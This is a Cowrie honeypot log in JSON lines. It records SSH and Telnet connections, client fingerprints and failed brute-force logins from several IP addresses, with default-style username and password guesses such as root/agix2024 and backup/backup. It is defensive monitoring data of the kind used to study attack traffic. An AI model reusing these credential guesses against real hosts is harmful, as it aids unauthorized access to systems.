{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:39.744485Z","src_ip":"162.241.177.22","session":"35ae9b06a146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:39.771389Z","src_ip":"162.241.177.22","session":"35ae9b06a146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agix2024","message":"login attempt [root/agix2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:39.854240Z","src_ip":"162.241.177.22","session":"35ae9b06a146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:40.889987Z","src_ip":"162.241.177.22","session":"35ae9b06a146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":33274,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ba6044f0cd5","protocol":"ssh","message":"New connection: 8.210.75.243:33274 (10.17.0.5:22) [session: 3ba6044f0cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:55.334238Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52288,"dst_ip":"159.203.135.109","dst_port":23,"session":"577abcd3a108","protocol":"telnet","message":"New connection: 170.64.224.25:52288 (159.203.135.109:23) [session: 577abcd3a108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:39:56.143688Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55694,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eb34b8a5f72","protocol":"ssh","message":"New connection: 165.154.137.186:55694 (10.17.0.5:22) [session: 9eb34b8a5f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:02.332425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:02.335703Z","src_ip":"165.154.137.186","session":"9eb34b8a5f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:02.610469Z","src_ip":"165.154.137.186","session":"9eb34b8a5f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:03.485522Z","src_ip":"165.154.137.186","session":"9eb34b8a5f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:04.764926Z","src_ip":"165.154.137.186","session":"9eb34b8a5f72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55700,"dst_ip":"10.17.0.5","dst_port":22,"session":"780e5d5407bc","protocol":"ssh","message":"New connection: 165.154.137.186:55700 (10.17.0.5:22) [session: 780e5d5407bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:07.296654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:07.304322Z","src_ip":"165.154.137.186","session":"780e5d5407bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:07.570457Z","src_ip":"165.154.137.186","session":"780e5d5407bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:08.364024Z","src_ip":"165.154.137.186","session":"780e5d5407bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:09.632945Z","src_ip":"165.154.137.186","session":"780e5d5407bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":39886,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cff87e56faa","protocol":"ssh","message":"New connection: 101.47.159.50:39886 (10.17.0.5:22) [session: 6cff87e56faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:10.579459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:10.583712Z","src_ip":"101.47.159.50","session":"6cff87e56faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39062,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a3db38edbf9","protocol":"ssh","message":"New connection: 165.154.137.186:39062 (10.17.0.5:22) [session: 3a3db38edbf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:10.782820Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:10.822838Z","src_ip":"101.47.159.50","session":"6cff87e56faa","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:11.112502Z","src_ip":"165.154.137.186","session":"3a3db38edbf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:11.116062Z","src_ip":"165.154.137.186","session":"3a3db38edbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123-=","message":"login attempt [root/qwe123-=] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:11.814024Z","src_ip":"101.47.159.50","session":"6cff87e56faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:12.144705Z","src_ip":"165.154.137.186","session":"3a3db38edbf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:13.056099Z","src_ip":"101.47.159.50","session":"6cff87e56faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:13.402442Z","src_ip":"165.154.137.186","session":"3a3db38edbf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39068,"dst_ip":"10.17.0.5","dst_port":22,"session":"74008e460960","protocol":"ssh","message":"New connection: 165.154.137.186:39068 (10.17.0.5:22) [session: 74008e460960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:14.213475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:14.216509Z","src_ip":"165.154.137.186","session":"74008e460960","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:14.479744Z","src_ip":"165.154.137.186","session":"74008e460960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.43544030189514,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:14.578994Z","src_ip":"170.64.224.25","session":"577abcd3a108","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:15.711799Z","src_ip":"165.154.137.186","session":"74008e460960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:16.977344Z","src_ip":"165.154.137.186","session":"74008e460960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39074,"dst_ip":"10.17.0.5","dst_port":22,"session":"6471b0d4d94f","protocol":"ssh","message":"New connection: 165.154.137.186:39074 (10.17.0.5:22) [session: 6471b0d4d94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:17.942204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:17.947467Z","src_ip":"165.154.137.186","session":"6471b0d4d94f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:18.232283Z","src_ip":"165.154.137.186","session":"6471b0d4d94f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:19.681918Z","src_ip":"165.154.137.186","session":"6471b0d4d94f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:20.969539Z","src_ip":"165.154.137.186","session":"6471b0d4d94f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40640,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e9b3cb67dd0","protocol":"ssh","message":"New connection: 165.154.137.186:40640 (10.17.0.5:22) [session: 3e9b3cb67dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:21.532013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:21.535886Z","src_ip":"165.154.137.186","session":"3e9b3cb67dd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:21.794080Z","src_ip":"165.154.137.186","session":"3e9b3cb67dd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:22.571207Z","src_ip":"165.154.137.186","session":"3e9b3cb67dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:23.835215Z","src_ip":"165.154.137.186","session":"3e9b3cb67dd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40656,"dst_ip":"10.17.0.5","dst_port":22,"session":"446c6bcfb543","protocol":"ssh","message":"New connection: 165.154.137.186:40656 (10.17.0.5:22) [session: 446c6bcfb543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:25.183337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:25.187667Z","src_ip":"165.154.137.186","session":"446c6bcfb543","protocol":"ssh"}
